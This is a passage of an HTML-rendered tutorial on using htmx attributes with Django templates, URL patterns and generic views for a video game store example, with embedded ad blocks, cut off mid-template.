style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;theme-color&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#333333&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msapplication-TileColor&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#2b5797&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-capable&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;yes&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-status-bar-style&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;black&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apple-mobile-web-app-title&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;{{ site.name }}&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;property&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;og:type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;website&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      {% endblock meta %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://unpkg.com/htmx.org@1.4.1&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block header %}{% endblock header %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block body %}{% endblock body %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {% block footer %}{% endblock footer %}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;htmx-basic-attributes&#34;&gt;htmx basic attributes&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s open the &lt;em&gt;home.html&lt;/em&gt; file. We extend from the &lt;em&gt;base.html&lt;/em&gt; template and replace the body tag with a simple layout and our first button with Htmx.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; extends &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;base.html&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; block body &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;div &lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-list&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;h1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Welcome senpai&lt;span style=&#34;color:#ff5c57&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;h1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;p&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Check out our summer discounts (&lt;span style=&#34;color:#ff5c57&#34;&gt;✿◠‿◠&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;p&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;button hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;get&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; url &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameList&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;trigger&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;click&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;target&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;#videogame-list&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;push&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;               hx&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;swap&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;outerHTML&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                Go to discounts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;button&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;           &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; endblock body &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The button will have four attributes, each button will specify a number of behaviors: hx-get, hx-trigger, hx-target, hx-push-url&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;hx-get&#34;&gt;hx-get&lt;/h3&gt;&#xA;&lt;p&gt;Here we will place the url to which we will make the request. Notice how we can even generate it dynamically using the &lt;em&gt;{% url %}&lt;/em&gt; tag provided by django.&lt;/p&gt;&#xA;&lt;p&gt;hx-get is one of the attributes that perform AJAX requests, the others are hx-post, hx-put, hx-patch and hx-delete, which perform POST, PUT, PATCH and DELETE requests, respectively.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-trigger&#34;&gt;hx-trigger&lt;/h3&gt;&#xA;&lt;p&gt;It will be the type of event that will trigger the request, a click in this case. We can however use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/Events&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;other events&lt;/a&gt;&#xA; such as mouseenter, mouseleave, keyup, etc.&lt;/p&gt;&#xA;&lt;p&gt;There are a number of special events available as well:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;load: activated when loading an element&lt;/li&gt;&#xA;&lt;li&gt;revealed: when an element is displayed in the viewport&lt;/li&gt;&#xA;&lt;li&gt;intersect: triggered when an element intersects with the viewport&lt;/li&gt;&#xA;&lt;li&gt;every ns: every so often (e.g. every 2s, every 10s)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If we do not specify an event the library will take certain events by default to perform the AJAX request.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Form fields will trigger the request with the change event.&lt;/li&gt;&#xA;&lt;li&gt;Forms with the submit event&lt;/li&gt;&#xA;&lt;li&gt;All other elements with a click&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These events have modifiers that delay an event or prevent it from being executed more than once.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;changed: performs the request only if the element changed&lt;/li&gt;&#xA;&lt;li&gt;delay: delays the execution of the request&lt;/li&gt;&#xA;&lt;li&gt;throttle: same as delay, but rejects new events if the specified time has not passed.&lt;/li&gt;&#xA;&lt;li&gt;from: allows listening to the event from another element. Receives a CSS selector (e.g. #id)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;hx-target&#34;&gt;hx-target&lt;/h3&gt;&#xA;&lt;p&gt;Indica the item where we want to load the response we get to the address we write in hx-get, if we do not specify any will use the one who made the request. In the example the id of the parent element has been specified. If this value is omitted, the element that made the request will be replaced, that is, the one that has the hx-get attribute.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-swap&#34;&gt;hx-swap&lt;/h3&gt;&#xA;&lt;p&gt;Indicates the element where the result of the request will be placed. We have several options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;outerHTML: replacing the tag&lt;/li&gt;&#xA;&lt;li&gt;innerHTML: inside the label&lt;/li&gt;&#xA;&lt;li&gt;afterbegin: before the first child of the tag&lt;/li&gt;&#xA;&lt;li&gt;beforebegin: before the specified tag&lt;/li&gt;&#xA;&lt;li&gt;beforeend: after the last child of the tag&lt;/li&gt;&#xA;&lt;li&gt;afterend: after the tag&lt;/li&gt;&#xA;&lt;li&gt;none: nowhere&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The default is innerHTML&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-push-url&#34;&gt;hx-push-url&lt;/h3&gt;&#xA;&lt;p&gt;It tells htmx to replace the browser url with the url we specify in hx-get.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hx-boost&#34;&gt;hx-boost&lt;/h3&gt;&#xA;&lt;p&gt;If we add this attribute to the body tag, all the links (anchors) inside will be treated as if it were a SPA, the request will be made and the actual body will be replaced by response&amp;rsquo;s body. Offering a smooth transition feel, as if you were using the Javascript API to change the urls.&lt;/p&gt;&#xA;&lt;p&gt;But what about the header tag? Well there is an extension for the header too, you can see the link in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/bigskysoftware/htmx-extensions/blob/main/src/head-support/README.md&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;HTMX extensions github repository&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;generation-of-html-for-htmx&#34;&gt;Generation of HTML for htmx&lt;/h2&gt;&#xA;&lt;p&gt;The HTML we will use will be exactly the same as what Django would generate in a normal request using its template system, either using the render method or with generic views.&lt;/p&gt;&#xA;&lt;p&gt;Let us first define our views in the videogameStore app. Let&amp;rsquo;s create the &lt;em&gt;urls.py&lt;/em&gt; file and, since we will use generic views, we name them and call its &lt;em&gt;as_view()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListVideogames, VideogameDetail&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;list/&amp;#39;&lt;/span&gt;, ListVideogames&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameList&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;int:pk&amp;gt;/&amp;#39;&lt;/span&gt;, VideogameDetail&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;as_view(), name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameDetail&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That done, let&amp;rsquo;s create the views. The &lt;em&gt;ListView&lt;/em&gt; view will be in charge of returning the objects of the &lt;em&gt;Videogame&lt;/em&gt; model. &lt;em&gt;context_object_name&lt;/em&gt; will be in charge of assigning the name that we will use to access this model in the &lt;em&gt;listVideogames.html&lt;/em&gt; template, that is &amp;ldquo;videogames&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;DetailView&lt;/em&gt; allows us to display a single object and we will use the variable &amp;ldquo;videogame&amp;rdquo; to access the object in the &lt;em&gt;videogameDetail.html&lt;/em&gt; template.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.generic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListView, DetailView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ListVideogames&lt;/span&gt;(ListView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    template_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;listVideogames.html&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context_object_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogames&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameDetail&lt;/span&gt;(DetailView):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    template_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogameDetail.html&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context_object_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will now create the templates we need to make our views work&lt;/p&gt;&#xA;&lt;p&gt;First &lt;em&gt;videogameDetail.html&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;videogame-detail&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;{{videogame.title}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;h2&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;{{videogame.description}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;p&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;{{videogame.price}}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;small&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;hx-get&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{%&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;url&lt;/span&gt; &lt;span 